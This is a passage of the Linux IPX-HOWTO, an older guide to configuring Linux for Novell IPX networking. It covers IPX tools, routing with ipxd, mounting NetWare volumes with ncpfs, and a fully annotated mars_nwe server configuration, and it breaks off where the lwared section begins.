Linux IPX-HOWTO: Introduction.

 Next Previous Contents

1. Introduction.

This is the Linux IPX-HOWTO. You should read the Linux NET-3-HOWTO in conjunction with this document.

1.1 Changes from the previous release.

Change of author:
        Many thanks to Terry Dawson for passing on this document and
        congratulations on becoming a father :-).

Additions:
        Addition of a brief explanation of IPX. This is in response to
        many baffled queries on the discussion lists.

Corrections/Updates:
        New version of ncpfs which now supports NDS logins. This is early
        beta test and may be prohibited in your country due to the use of
        patented technology.

        Addition of support for trustee rights in mars_nwe. This is still
        in beta test.

1.2 Introduction.

The Linux Kernel has a completely new network implementation as compared to other Unix like operating systems. The ability to take a fresh approach to developing the kernel networking software has led to the Linux kernel having support for a range of non tcp/ip protocols being built. The IPX protocol is one of those that have been included.

The Linux kernel supports the IPX protocol only. It does not yet support protocols such as IPX/RIP, SAP or NCP, these are supported by other software such as that documented elsewhere in this document.

The IPX support was originally developed by Alan Cox <alan@lxorguk.ukuu.org.uk> and has been significantly enhanced by Greg Page <greg@caldera.com>.


Linux IPX-HOWTO: Disclaimer.

 Next Previous Contents

2. Disclaimer.

I do not and cannot know everything there is to know about the Linux network software. Please accept and be warned that this document probably does contain errors. Please read any README files that are included with any of the various pieces of software described in this document for more detailed and accurate information. I will attempt to keep this document as error-free and up-to-date as possible. Versions of software are current as at time of writing.

In no way do I or the authors of the software in this document offer protection against your own actions. If you configure this software, even as described in this document and it causes problems on your network then you alone must carry the responsibility. I include this warning because IPX network design and configuration is not always a simple matter and sometimes undesirable interaction with other routers and fileservers can result if you do not design or configure your network carefully. I also include this warning because I was asked to by someone unfortunate enough to have discovered this lesson the hard way.


Linux IPX-HOWTO: Related Documentation.

 Next Previous Contents

3. Related Documentation.

This document presumes you understand how to build a Linux kernel with the appropriate networking options selected and that you understand how to use the basic network tools such as ifconfig and route. If you do not, then you should read the NET-3-HOWTO in conjunction with this document as it describes these.

Other Linux HOWTO documents that might be useful are:

The Ethernet-HOWTO, which describes the details of configuring an Ethernet device for Linux.

The PPP-HOWTO as IPX support is available for version 2.2.0d and later of the Linux PPP implementation.

3.1 New versions of this document.

If your copy of this document is more than two months old then I strongly recommend you obtain a newer version. The networking support for Linux is changing very rapidly with new enhancements and features, so this document also changes fairly frequently. The latest released version of this document can always be retrieved by anonymous ftp from:

ftp:/sunsite.unc.edu/pub/Linux/docs/HOWTO/IPX-HOWTO>/ or: ftp:/sunsite.unc.edu/pub/Linux/docs/HOWTO/other-formats/IPX-HOWTO{-html.tar,ps,dvi}.gz>/ via the World Wide Web from the Linux Documentation Project Web Server, at page: IPX-HOWTO or directly from me, <kevin@pricetrak.com>. It may also be posted to the newsgroups: comp.os.linux.networking, comp.os.linux.answers and news.answers from time to time.

3.2 Feedback.

Please send any comments, updates, or suggestions to me, <kevin@pricetrak.com>. The sooner I get feedback, the sooner I can update and correct this document. If you find any problems with it, please mail me directly as I can miss info posted to the newsgroups.

3.3 Mailing list support.

There is a mailing list established for discussion of the various Linux IPX software packages described in this document. You can subscribe to it by sending a mail message to `listserv@sh.cvut.cz' with `add linware' in the body of the message. To post to the list your send your mail to `linware@sh.cvut.cz'. I regularly watch this list.

The mailing list is archived at www.kin.vslib.cz.


Linux IPX-HOWTO: Some of the terms used in this document.

 Next Previous Contents

4. Some of the terms used in this document.

You will often see the terms client and server used in this document. They are normally fairly specific terms but in this document I have generalized their definitions a little so that they mean the following:

client

The machine or program that initiates an action or a connection for the purpose of gaining use of some service or data.

server

The machine or program that accepts incoming connections from multiple remote machines and provides a service or data to those.

These definitions are not very reliable either, but they provide a means of distinguishing the ends of peer to peer systems such as SLIP or PPP which truly do not actually have clients and servers.

Other terms you will see are:

Bindery

The bindery is a specialised database storing network configuration information on a Novell fileserver. Netware clients may query the bindery to obtain information on available services, routing and user information.

Frame Type

is a term used to describe that actual protocol used to carry the IPX (and IP) datagrams across your ethernet style network segments. There are four common ones. They are:

Ethernet_II

This is a refined version of the original DIX ethernet standard. Novell has been allocated a formal protocol id and this means that both IPX and IP can coexist happily in an Ethernet_II environment quite happily. This is commonly used in Novell environments and is a good choice.

802.3

This is an I.E.E.E. protocol defining a Carrier Sense Multiple Access with Collision Detection (CSMA/CD) mechanism. It was based on the original DIX Ethernet standard, with an important modification, the type (protocol id) field was converted into a length field instead. It is for this reason that IPX really shouldn't be run here. IEEE 802.3 was designed to carry IEEE 802.2 frames only but there are implementations that use it to carry IPX frames directly and remarkably it does work. Avoid it unless you are trying to interwork with a network already configured to use it.

802.2

This is an I.E.E.E. protocol that defines a set of Logical Link Control procedures. It provides a simplistic way of allowing different protocols to coexist, but is quite limited in this respect. Novell uses an unofficial Service Address Point (like a protocol id) but since everyone else uses it as well, that hasn't yet presented too much of a problem.

SNAP

SNAP is the Sub Network Access Protocol. This protocol is designed ride on top of 802.3 and 802.2. It expands the multiprotocol capability of 802.2 and provides some measure of compatability with existing Ethernet and Ethernet_II frame types.

IPX

Internet Packet eXchange is a protocol used by the Novell corporation to provide internetworking support for their NetWare(tm) product. IPX is similar in functionality to the IP protocol used by the tcp/ip community.

IPX network address

This is a number which uniquely identifies a particular IPX network. The usual notation for this address is in hexadecimal. An example might look like: 0x23a91002.

IPX Internal network

This is a virtual IPX network. It is virtual because it does not correspond to a physical network. This is used to provide a means of uniquely identifying and addressing a particular IPX host. This is generally only useful to IPX hosts that exist on more than one physical IPX network such as fileservers. The address is coded in the same form as for a physical IPX network.

RIP

Routing Information Protocol is a protocol used to automatically propagate network routes in an IPX network. It is functionally similar to the RIP used within the tcp/ip community.

NCP

NetWare Core Protocol is a networked filesystem protocol designed by the Novell Corporation for their NetWare(tm) product. NCP is functionally similar to the NFS used in the tcp/ip community.

SAP

Service Advertisement Protocol is a protocol designed by the Novell Corporation that is used to advertise network services in a NetWare(tm) environment.

Hardware address

This is a number that uniquely identifies a host in a physical network at the media access layer. Examples of this are Ethernet Addresses. An Ethernet address is generally coded as six hexadecimal values separated by colon characters eg. 00:60:8C:C3:3C:0F

route

The route is the path that your packets take through the network to reach their destination.


Linux IPX-HOWTO: A brief discussion of IPX network topology

 Next Previous Contents

5. A brief discussion of IPX network topology

This is a much simplified explanation for people new to IPX. Large networks will probably break lots of the rules explained here. In complex IPX networks the administrator should always be consulted.

IPX networking revolves around a scheme of numbered networks unlike IP which places more emphasis on the interface addresses. A network is a collection of equipment connected to the same LAN segment and using the same frame type. Different frame types on the same LAN segment are treated as seperate networks.

Each network must be allocated a number which is unique across the entire internetwork. This is usually performed by a NetWare(tm) server, but can easily be performed by Linux. IPX clients are given this number by the server when starting, they only require to know the correct frame type.

Routing between networks is usually performed by putting two network cards in a server. This server then runs the RIP protocol which holds a routing table for the internetwork. Periodic broadcasts of this routing table are exchanged between servers. Within a short time each server 'discovers' the topology of the internetwork.

If you only wish to use the services of an existing NetWare server, you can use ipx_configure (section 7.1) to automatically define the IPX interfaces by using broadcast queries to look for a server. If this fails, or you wish to provide IPX services, you will need to define the interfaces manually using ipx_interface or mars_nwe.


Linux IPX-HOWTO: The IPX related files in the /proc filesystem.

 Next Previous Contents

6. The IPX related files in the /proc filesystem.

There are a number of files related to the Linux IPX support that are located within the /proc filesystem. They are:

/proc/net/ipx_interface

This file contains information about the IPX interfaces configured on your machine. These may have been configured manually by command or automatically detected and configured.

/proc/net/ipx_route

This file contains a list of the routes that exist in the IPX routing table. These routes may have been added manually by command or automatically by an IPX routing daemon.

/proc/net/ipx

This file is a list of the IPX sockets that are currently open for use on the machine.


Linux IPX-HOWTO: Greg Pages IPX tools.

 Next Previous Contents

7. Greg Pages IPX tools.

Greg Page <greg@caldera.com of Caldera Incorporated has written a suite of IPX configuration tools and enhanced the Linux IPX kernel support.

The kernel enhancements allow linux to be configured as a fully featured IPX bridge or router. The enhanced IPX support has already been fed back into the mainstream kernel distribution so you will probably already have it.

The network configuration tools provide you with the capability to configure your network devices to support IPX and allow you to configure IPX routing and other facilities under Linux. The Linux IPX network tools are available from: sunsite.unc.edu.

7.1 The IPX tools in more detail.

ipx_interface

This command is used to manually add, delete or check ipx capability to an existing network device. Normally the network device would be an Ethernet device such at eth0. At least one IPX interface must be designated the primary interface and the -p flag to this command does this. For example to enable Ethernet device eth0 for IPX capability as the primary IPX interface using the IEEE 802.2 frame type and IPX network address 39ab0222 you would use:

# ipx_interface add -p eth0 802.2 0x39ab0222

If the frame type differs from NetWare(tm) servers on this network, they will studiously ignore you. If the frame type is correct but the network number differs, they will still ignore you but complain frequently on the NetWare server console. The latter is guaranteed to gain you flames from your NetWare administrator and may disrupt existing NetWare clients.

If you get an error while running this program and you happen to not have already configured tcp/ip, then you will find that you need to manually start the eth0 interface using the command:

# ifconfig eth0 up

ipx_configure

This command enables or disables the automatic setting of the interface configuration and primary interface settings.

--auto_interface

allows you to select whether new network devices should be automatically configured as IPX devices or not.

--auto_primary

allows you to select whether the IPX software should automatically select a primary interface or not. Problems have been noted using this with Windows 95 clients on the network.

A typical example would be to enable both automatic interface configuration and automatic primary interface setting with the following command:
# ipx_configure --auto_interface=on --auto_primary=on

ipx_internal_net

This command allows you to configure or deconfigure an internal network address. An internal network address is optional, but when it is configured it will always be the primary interface. To configure an IPX network address of ab000000 on IPX node 1 you would use:

# ipx_internal_net add 0xab000000 1

ipx_route

The command allows you to manually modify the IPX routing table. For example to add a route to IPX network 39ab0222 via a router with node number 00608CC33C0F on IPX network 39ab0108:

# ipx_route add 0x39ab0222 0x39ab0108 0x00608CC33C0F


Linux IPX-HOWTO: Configuring your Linux machine as an IPX router.

 Next Previous Contents

8. Configuring your Linux machine as an IPX router.

If you have a number of IPX segments that you wish to internetwork you need the services of a router. In the Novell environment there are two pieces of information which are necessary to be propagated around the network. They are the network routing information propagated using Novell RIP, and the service advertisement information propagated using Novell SAP. Any router must support both of these protocols to be useful in most situations.

Linux has support for both of these protocols and can be fairly easily made to function as a fully Novell compliant router.

The Linux kernel IPX support actually manages the IPX packet forwarding across interfaces, but it does this according to the rules coded into the IPX routing table. Linux needs a program to implement the Novell RIP and SAP to ensure that the IPX routing table is built correctly and updated periodically to reflect changes in the network status.

Volker Lendecke <lendecke@namu01.gwdg.de> has developed a routing daemon ipxripd that will do this for you. The mars_nwe package mentioned later includes an alternative routing daemon.

You can find ipxripd at:

sunsite.unc.edu

or at Volkers home site at:

ftp.gwdg.de

Configuring your Linux machine to act as a router is very straightforward. The steps you must take are:

  1. Build your kernel with IPX, Ethernet and /proc support.
  2. Obtain, compile and install the ipxd daemon program.
  3. Boot the new kernel and ensure that each of the Ethernet cards has been properly detected and there are no hardware conflicts.
  4. Enable the IPX protocol on each of the interfaces using the ipx_interface command described above.
  5. Start the ipxd daemon program.

Consider the following simple network:

 IPX Addr: 0x01000000  802.2
|--------------------------|
              |
              \_________________________
                                        \          Linux Router
 IPX Addr: 0x02000000  802.2             \
|--------------------------|              \   eth0/-----------\
              |                            \--====|           |
              \_________________________          | IPX route |
                                        \     eth1|  Table    |
 IPX Addr: 0x03000000  etherII           \----====|    ^      |
|--------------------------|                      |    |      |
              |                               eth2|  IPXd     |
              \______________________________/====|           |
                                                  |  SAPd     |
 IPX Addr: 0x04000000  etherII                eth3|           |
|--------------------------|                 /====|           |
              |                              |    \___________/
              \______________________________/

The configuration for the above network would look like:

# ipx_interface add eth0 802.2 0x0100000000
# ipx_interface add eth1 802.2 0x0200000000
# ipx_interface add eth2 etherii 0x0300000000
# ipx_interface add eth3 etherii 0x0400000000
# ipxd

You should then wait a moment or two and check your /proc/net/ipx_route file and you should see it populated with the IPX routes relevant to your configuration and any learned from any other routers in the network.

8.1 Do I need to configure an internal network ?

Novell has a feature called an internal network, which it uses to simplify routing in situations where a host has more than one network device connected. This is useful in the case of a fileserver connected to multiple networks as it means that only one route needs to be advertised to reach the server regardless of which network you are attempting from.

In the case of a configuration where you are not running a fileserver and your machine acting only as an IPX router the question is not as simple to answer. It has been reported that configuring for IPX/PPP works `better' if you also configure an internal network.

In any case it is easy to do, but may require a rebuild of your kernel. When you are working through the kernel make config you must answer y when asked Full internal IPX network as illustrated:

  ...
  ...
 Full internal IPX network (CONFIG_IPX_INTERN) [N/y/?] y
  ...
  ...

To configure the internal network interface, use the ipx_internal_net command described earlier in the IPX tools section. The main precaution to take is to ensure that they IPX network address you assign is unique on your network and that no other machine or network is using it.


Linux IPX-HOWTO: Configuring your Linux machine as an NCP client.

 Next Previous Contents

9. Configuring your Linux machine as an NCP client.

If you are a user of a mixed technology network that comprises both IP and IPX protocols it is likely that at some time or another you have wanted to have your Linux machine access data stored on a Novell fileserver on your network. Novell have long offered an NFS server package for their fileservers that would allow this, but if you are a small site or have only a small number of people interested in doing this it is difficult to justify the cost of the commercial package.

Volker Lendecke <lendecke@namu01.gwdg.de> has written a Linux filesystem kernel module that supports a subset of the Novell NCP that will allow you to mount Novell volumes into your Linux filesystem without requiring any additional products for your fileserver. Volker has called the package ncpfs and derived the necessary information mainly from the book "Netzwerkprogrammierung in C" by Manfred Hill and Ralf Zessin (further details of the book are contained within the README file in the ncpfs package).

The software causes Linux to emulate a normal Novell workstation for file services. It also includes a small print utility that allows you to print to Novell print queues (This is documented in the Print Client section later). The ncpfs package will work with Novell fileservers of version 3.x and later, it will not work the Novell 2.x. The ncpfs client will also work with close Novell compatible products, but unfortunately some products that claim to be compatible aren't compatible enough. To use ncpfs with Novell 4.x fileservers, it is preferred to use the Novell server in bindery emulation mode. The NDS support is a very recent early beta addition to ncpfs and additionally its use may be prohibited in your country due to the inclusion of patented technology.

9.1 Obtaining ncpfs.

The latest ncpfs package was designed to be built against the version 1.2.13 kernel or kernels later than 1.3.71 (this includes 2.x.x). If you not using a kernel in either of these categories then you will have to upgrade your kernel. The Kernel-HOWTO describes how to do this in detail.

You can obtain the ncpfs package by anonymous ftp from Volker's home site at: ftp.gwdg.de or sunsite.unc.edu or mirror sites. The current version at the time of writing was:

ncpfs-2.0.11.tgz or ncpfs-2.2.0.tgz which adds the NDS support.

9.2 Building ncpfs for kernel 1.2.13.

Build a kernel with Ethernet and IPX support

The first thing you need to do is ensure that your kernel has been built with IPX support enabled. In the 1.2.13 version kernel you need only ensure that you have answered Y to the question: 'The IPX protocol' as illustrated:

 ...
 ...
Assume subnets are local (CONFIG_INET_SNARL) [y]
Disable NAGLE algorithm (normally enabled) (CONFIG_TCP_NAGLE_OFF) [n]
The IPX protocol (CONFIG_IPX) [n] y
*
* SCSI support
 ...
 ...
You will also need to ensure that you include an appropriate driver for your Ethernet card. If you do not know how to do this then you should read the Ethernet-HOWTO.

You can then proceed to build your kernel. Make sure you remember to run lilo to install it when you have finished.

Untar the ncpfs software

# cd /usr/src
# tar xvfz ncpfs-2.0.11.tgz
# cd ncpfs

Check the Makefile

If you intend to use kerneld to autoload the ncpfs kernel module then you must uncomment the line in the Makefile that refers to: KERNELD. If you are unsure what this means then you should read the Kernel-HOWTO to familiarise yourself with kernel module configuration.

Make the ncpfs software

The software should compile cleanly with no other configuration necessary:

# make

Copy the IPX tools somewhere useful if you don't already have them.

After the make has completed you should find all of the tools you need in the ncpfs/bin directory. You can use:

# make install

to install the tools in Volkers choice of directories. If you are running on an ELF based system then you will need to rerun `ldconfig -v' to ensure that the shared library is able to be found.

Copy the ncpfs.o module somewhere useful if necessary.

If you are compiling for a 1.2.* kernel then you will find a file called ncpfs.o in the ncpfs/bin directory after the make has completed. This is the ncpfs kernel module. You should copy this somewhere useful. On my debian system I have copied it to the /lib/modules/1.2.13/fs directory and added ncpfs to the /etc/modules file so that it will be automatically started at boot time. If you are using some other distribution you should find where it keeps its modules and copy it there, or just copy it to your /etc directory. To load the modules manually you need to use the command:

# insmod ncpfs.o

9.3 Building ncpfs for kernels 1.3.71++/2.0.*.

For the latest version of ncpfs you must use kernel 1.3.71 or newer, this includes the 2.0.* kernels.

If you intend using a kernel that is version 1.3.71 or newer then the ncpfs kernel code has been included in the standard kernel distribution. You need only answer Y to:

Networking options  --->
    ...
    ...
    <*> The IPX protocol
    ...
Filesystems  --->
    ...
    ...
    <*> NCP filesystem support (to mount NetWare volumes)
    ...

You will still need to follow the instructions for building for kernels 1.2.* so that you can build the tools but there will not be a module file for you to install.

9.4 Configuring and using ncpfs.

Configure the IPX network software

There are two ways of configuring the IPX network software. You can manually configure all of your IPX network information or you can choose to let the software determine for itself some reasonable settings using the command:

# ipx_configure --auto_interface=on --auto_primary=on

This should be reasonable in most circumstances, but if it doesn't work for you then read the 'IPX tools' section above to configure your software manually. Problems have been noted using this on networks containing Windows '95 clients.

Test the configuration

After your IPX network is configured you should be able to use the slist command to see a list of all of the Novell fileserver on your network:

# slist
If the slist command displays a message like: ncp_connect: Invalid argument then your kernel probably does not support IPX. Check that you have actually booted off the appropriate kernel. When you boot you should see messages about 'IPX' and 'ncpfs' in the system startup messages. If the slist command does not list all of your fileservers then you may need to use the manual network configuration method.

Mount a Novell(tm) server or volume.

If your IPX network software is working ok you should now be able to mount a Novell fileserver or volume into your Linux filesystem. The ncpmount command is used for this purpose and requires that you specify at least the following information:

  1. The fileserver name
  2. (optionally) The fileserver directory to mount
  3. The fileserver login id. If it has a password you will also need that.
  4. The mount point ie. where you want the mount to go. This will be an existing directory on your machine.

There is an equivalent ncpumount command to unmount a mounted NCP filesystem. The NCP filesystems will be unmounted cleanly if you shutdown your machine normally, so you needn't worry about ncpumounting your filesystems manually before a halt or shutdown.

An example command to mount fileserver ACCT_FS01, with a login id of guest with no password, under the /mnt/Accounts directory might look like the following:

# ncpmount -S ACCT_FS01 /mnt/Accounts -U guest -n
Note the use of the -n option to indicate that no password is required for the login. The same login specifying a password of secret would look like:
# ncpmount -S ACCT_FS01 /mnt/Accounts -U guest -P secret
If you don't specify either the -n or the -P options you will be prompted for a password.

Check the mount

If the mount is successful you will find all the volumes accessible to the userid used for login listed as directories under the mount point. You should then also be able to traverse the directory structure to find other files. You may alternatively use the -V option to mount a single volume.

NCP does not provide uid or gid ownership of files. All the files will have the permission and ownership assigned to the mount point directory restricted by trustee permissions on the Novell server. Bear this in mind when sharing mounts between Linux users.

Configure mounts to be automatically performed.

If you have some need to permanently have an ncp mount then you will want to configure the commands above into your rc files so that they occur automatically at boot time. If your distribution doesn't already provide some way of configuring IPX like debian then I recommend you place them in your /etc/rc.local file if you have one. You might use something like:

#
# Start the ncp filesystem

/sbin/insmod /lib/modules/1.2.13/fs/ncpfs.o

# configure the IPX network
ipx_configure --auto_interface=on --auto_primary=on

# guest login to the Accounting fileserver
ncpmount -S ACCT_FS01 /mnt/Accounts -U guest -n

#
There is another means of configuring NCP mounts and that is by building a $HOME/.nwclient file. This file contains details of temporary or user specific NCP mounts that would be performed regularly. It allows you to store the details of mounts so that you can recreate them without having to specify all of the detail each time.

Its format is quite straightforward:

# The first entry is the 'preferred server' entry and is
# used whenever you do not specify a server explicitly.
#
# User TERRY login to DOCS_FS01 fileserver with password 'password'
DOCS_FS01/TERRY password
#
# Guest login to the ACCT_FS01 fileserver with no password.
ACCT_FS01/GUEST -
To activate these mounts you could use:
$ ncpmount /home/terry/docs
to mount: DOCS_FS01 with a login of TERRY under the /home/terry/docs directory. Note that this entry was chosen because no fileserver was specified in the mount command. If the following command were used:
$ ncpmount -S ACCT_FS01 /home/terry/docs
then a GUEST login to ACCT_FS01 would be mounted there instead.

Note: for this mechanism to work the permissions of the $HOME/.nwclient file must be 0600 so you would need to use the command:

$ chmod 0600 $HOME/.nwclient
If non-root users are to be allowed to use this mechanism then the ncpmount command must be Set Userid Root, so you would need to give it permissions:
# chmod 4755 ncpmount

Try out the nsend utility

a utility to send messages to Novell users is also included in the package, it is called nsend and is used as follows:

# nsend rod hello there
would send the message "hello there" to a logged in user "rod" on your "primary" fileserver (the first one appearing in your .nwclient file. You can specify another fileserver with the same syntax as for the ncpmount command.


Linux IPX-HOWTO: Configuring your Linux machine as an NCP server.

 Next Previous Contents

10. Configuring your Linux machine as an NCP server.

There are two packages available that allow Linux to provide the functions of a Novell Fileserver. They both allow you to share files on your linux machine with users using Novell NetWare client software. Users can attach and map filesystems to appear as local drives on their machines just as they would to a real Novell fileserver. You may want to try both to see which best serves your intended purpose.

10.1 The mars_nwe package.

Martin Stover <mstover@freeway.de> developed mars_nwe to enable linux to provide both file and print services for NetWare clients.

In case you are wondering about the name: mars_nwe is Martin Stovers Netware Emulator.

Capability of mars_nwe.

mars_nwe implements a subset of the full Novell NCP for file services, disk based bindery and also print services. It is likely to contain bugs but there are many people using it now and the number of bugs is steadily decreasing as new versions are released.

Obtaining mars_nwe.

You can obtain mars_nwe from ftp.gwdg.de or from ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ncpfs/.

The version current at the time of writing was: mars_nwe-0.99.pl10.tgz.

Building the mars_nwe package.

Build a kernel with Ethernet and IPX Support

In the 1.2.13 version kernel you need only ensure that you have answered Y to the question: 'The IPX protocol' and N to the question: `Full internal IPX network' as illustrated:

 ...
 ...
The IPX protocol (CONFIG_IPX) [n] y
 ...
 ...
Full internal IPX network (CONFIG_IPX_INTERN) [N/y/?] n
 ...
 ...
In newer kernels a similar process is adopted but the actual text of the prompt may have changed slightly.

You will also need to ensure that you include an appropriate driver for your Ethernet card. If you do not know how to do this then you should read the Ethernet-HOWTO.

You can then proceed to build your kernel. Make sure you remember to run lilo to install it when you have finished.

Untar the mars_nwe package.

# cd /usr/src
# tar xvfz mars_nwe-0.99.pl10.tgz

Make mars_nwe.

To make the package is very simple. The first step is to simply run make, this will create a config.h file for you. Next you should look at and edit the config.h file if necessary. It allows you to configure items such as the installation directories that will be used and the maximum number of sessions and volumes that the server will support. The really important entries to look at are:

FILENAME_NW_INI       the location of the initialisation file
PATHNAME_PROGS        where the executable support programs will be found.
PATHNAME_BINDERY      where the 'bindery' files will go.
PATHNAME_PIDFILES     the directory for the 'pid' files to be written.
MAX_CONNECTIONS       the maximum number of simultaneous connections allowed.
MAX_NW_VOLS           the maximum number of volumes mars_nwe will support.
MAX_FILE_HANDLES_CONN the maximum number of open files per connection.
WITH_NAME_SPACE_CALLS if you want to support ncpfs clients.
INTERNAL_RIP_SAP      whether you want mars_nwe to provide rip/sap routing.
SHADOW_PWD            whether you use shadow passwords or not.

The defaults will probably be ok but you should check anyway.

When this is done:

# make
# make install

will build the servers and install them in the appropriate directory. The installation script also installs the configuration file /etc/nwserv.conf.

Configure the server.

Configuration is fairly simple. You need to edit the /etc/nwserv.conf file. The format of this file may at first look a little cryptic, but it is fairly straightforward. The file contains a number of single line configuration items. Each line is whitespace delimited and begins with a number that indicates the contents of the line. All characters following a '#' character are considered a comment and ignored. Martin supplies an example configuration file in the package, but I'll present what I consider to be a simplified example to offer an alternative for you.

# VOLUMES (max. 5)
# Only the SYS volume is compulsory. The directory containing the SYS
# volume must contain the directories: LOGIN, PUBLIC, SYSTEM, MAIL.
# The 'i' option ignores case.
# The 'k' option converts all filenames in NCP requests to lowercase.
# The 'm' option marks the volume as removable (useful for cdroms etc.)
# The 'r' option set the volume to read-only.
# The 'o' option indicates the volume is a single mounted filesystem.
# The 'P' option allows commands to be used as files.
# The 'O' option allows use of the OS/2 namespace
# The 'N' option allows use of the NFS namespace
# The default is upper case.
# Syntax:
#    1 <Volumename> <Volumepath>   <Options>

1   SYS         /home/netware/SYS/               # SYS
1   DATA        /home/netware/DATA/      k       # DATA
1   CDROM       /cdrom                   kmr     # CDROM

# SERVER NAME
# If not set then the linux hostname will be converted to upper case
# and used. This is optional, the hostname will be used if this is not
# configured.
# Syntax:
#    2 <Servername>

2   LINUX_FS01

# INTERNAL NETWORK ADDRESS
# The Internal IPX Network Address is a feature that simplifies IPX routing
# for multihomed hosts (hosts that have ports on more than one IPX network).
# Syntax:
#    3 <Internal Network Address> [<Node Number>]
# or:
#    3 auto
#
# If you use 'auto' then your host IP address will be used. NOTE: this may
# be dangerous, please be sure you pick a number unique to your network.
# Addresses are 4byte hexadecimal (the leading 0x is required).

3   0x49a01010  1

# NETWORK DEVICE(S)
# This entry configures your IPX network. If you already have your
# IPX network configured then you do not need this. This is the same as
# using ipx_configure/ipx_interface before you start the server.
# Syntax:
#    4 <IPX Network Number> <device_name> <frametype> [<ticks>]
#                         Frame types: ethernet_ii, 802.2, 802.3, SNAP

4  0x39a01010  eth0  802.3  1

# SAVE IPX ROUTES AFTER SERVER IS DOWNED
# Syntax:
#    5 <flag>
#       0 = don't save routes, 1 = do save routes

5 0

# NETWARE VERSION
# Syntax:
#    6 <version>
#      0 = 2.15, 1 = 3.11

6 1

# PASSWORD HANDLING
# Real Novell DOS clients support a feature which encypts your
# password when changing it. You can select whether you want your
# mars server to support this feature or not.
# Syntax
#    7 <flag>
#    <flag> is:
#        0 to force password encryption. (Clients can't change password)
#        1 force password encryption, allow unencrypted password change.
#        7 allow non-encrypted password but no empty passwords.
#        8 allow non-encrypted password including empty passwords.
#        9 completely unencrypted passwords (doesn't work with OS/2)

7 1

# MINIMAL GID UID rights
# permissions used for attachments with no login. These permissions
# will be used for the files in your primary server attachment.
# Syntax:
#    10 <gid>
#    11 <uid>
#    <gid> <uid> are from /etc/passwd, /etc/groups

10  200
11  201

# SUPERVISOR password
# May be removed after the server is started once. The server will
# encrypt this information into the bindery file after it is run.
# You should avoid using the 'root' user and instead use another
# account to administer the mars fileserver.
#
# This entry is read and encrypted into the server bindery files, so
# it only needs to exist the first time you start the server to ensure
# that the password isn't stolen.
#
# Syntax:
#    12 <Supervisor-Login> <Unix username> [<password>]

12  SUPERVISOR  terry  secret

# USER ACCOUNTS
# This associates NetWare logins with unix accounts. Password are
# optional.
# Syntax:
     13 <User Login> <Unix Username> [<password>]

13  MARTIN martin
13  TERRY  terry

# LAZY SYSTEM ADMIN CONFIGURATION
# If you have a large numbers of users and could not be bothered using
# type 13 individual user mappings, you can automatically map mars_nwe
# logins to linux user names. BUT, there is currently no means of making
# use of the linux login password so all users configured this way are
# will use the single password supplied here. My recommendation is not
# to do this unless security is absolutely no concern to you.
# Syntax:
#    15 <flag> <common-password>
#    <flag> is: 0  - don't automatically map users.
#               1  - do automatically map users not configured above.
#               99 - automatically map every user in this way.

15  0  duzzenmatta

# SANITY CHECKING
# mars_nwe will automatically ensure that certain directories exist if
# you set this flag.
# Syntax:
#    16 <flag>
#    <flag> is 0 for no, don't, or 1 for yes, do.

16  0

# PRINT QUEUES
# This associates NetWare printers with unix printers. The queue
# directories must be created manually before printing is attempted.
# The queue directories are NOT lpd queues.
# Syntax:
#    21 <queue_name> <queue_directory> <unix_print_cmd>

21  EPSON  SYS:/PRINT/EPSON lpr -h
21  LASER  SYS:/PRINT/LASER lpr -Plaser

# DEBUG FLAGS
# These are not normally needed, but may be useful if are you debugging
# a problem.
# Syntax:
#    <debug_item> <debug_flag>
#
#    100 = IPX KERNEL
#    101 = NWSERV
#    102 = NCPSERV
#    103 = NWCONN
#    104 = start NWCLIENT
#    105 = NWBIND
#    106 = NWROUTED
#                 0 = disable debug, 1 = enable debug

100 0
101 0
102 0
103 0
104 0
105 0
106 0

# RUN NWSERV IN BACKGROUND AND USE LOGFILE
# Syntax:
#    200 <flag>
#        0 = run NWSERV in foreground and don't use logfile
#        1 = run NWSERV in background and use logfile

200  1

# LOGFILE NAME
# Syntax:
#    201 <logfile>

201  /tmp/nw.log

# APPEND LOG OR OVERWRITE
# Syntax:
#    202 <flag>
#        0 = append to existing logfile
#        1 = overwrite existing logfile

202  1

# SERVER DOWN TIME
# This item sets the time after a SERVER DOWN is issued that the
# server really goes down.
# Syntax:
#    210 <time>
#        in seconds. (defaults 10)

210  10

# ROUTING BROADCAST INTERVAL
# The time is seconds between server broadcasts
# Syntax:
#    211 <time>
#        in seconds. (defaults 60)

211  60

# ROUTING LOGGING INTERVAL
# Set how many broadcasts take place before logging of routing
# information occurs.
# Syntax:
#    300  <number>

300  5

# ROUTING LOGFILE
# Set the name of the routing logfile
# Syntax:
#    301 <filename>

301  /tmp/nw.routes

# ROUTING APPEND/OVERWRITE
# Set whether you want to append to an existing log file or
# overwrite it.
# Syntax:
#    302 <flag>
#        <flag> is 0 for append, 1 for create/overwrite

302  1

# WATCHDOG TIMING
# Set the timing for watchdog messages that ensure the network is
# still alive.
# Syntax:
#    310 <value>
#        <value> =   0 - always send watchdogs
#                  < 0 - (-ve) for disable watchdogs
#                  > 0 - send watchdogs when network traffic
#                        drops below 'n' ticks

310  7

# STATION FILE
# Set the filename for the stations file which determine which
# machines this fileserver will act as the primary fileserver for.
# The syntax of this file is described in the 'examples' directory
# of the source code.
# Syntax:
#    400 <filename>

400  /etc/nwserv.stations

# GET NEAREST FILESERVER HANDLING
# Set how SAP Get Nearest Fileserver Requests are handled.
# Syntax:
#    401 <flag>
#        <flag> is: 0 - disable 'Get Nearest Fileserver' requests.
#                   1 - The 'stations' file lists stations to be excluded.
#                   2 - The 'stations' file lists stations to be included.

401  2

Start the server

If you've configured the server to expect external programs to configure your network and/or provide the routing function then you should start those before starting the server. Presuming you have configured the server so that it will configure your interfaces for you and provide the routing services you need only issue the command:

# nwserv

Test the server

To test the server you should first try to attach and login from a NetWare client on your network. You then set a CAPTURE from the client and attempt a print. If both of these are successful then the server is working.

10.2 The lwared package.

Ales Dryak <A.Dryak@sh.cvut.cz> developed lwared to allow Linux to function as an NCP based fileserver.

Ales has called the package lwared, an abbreviation for LinWare Daemon.

Capability of lwared.

The lwared server is capable of providing a subset of the full function of the Novell NCP. It incorporates messaging but it does not provide any printing facilities at all. It does not currently work very well with either Windows95 or Windows NT clients. The lwared server relies on external programs to build and update the IPX routing and SAP tables. Misbehaving clients can cause the server to crash. Importantly, filename translation facilities have not been included.

The server does work for NETX and VLM NetWare shells.

Obtaining lwared

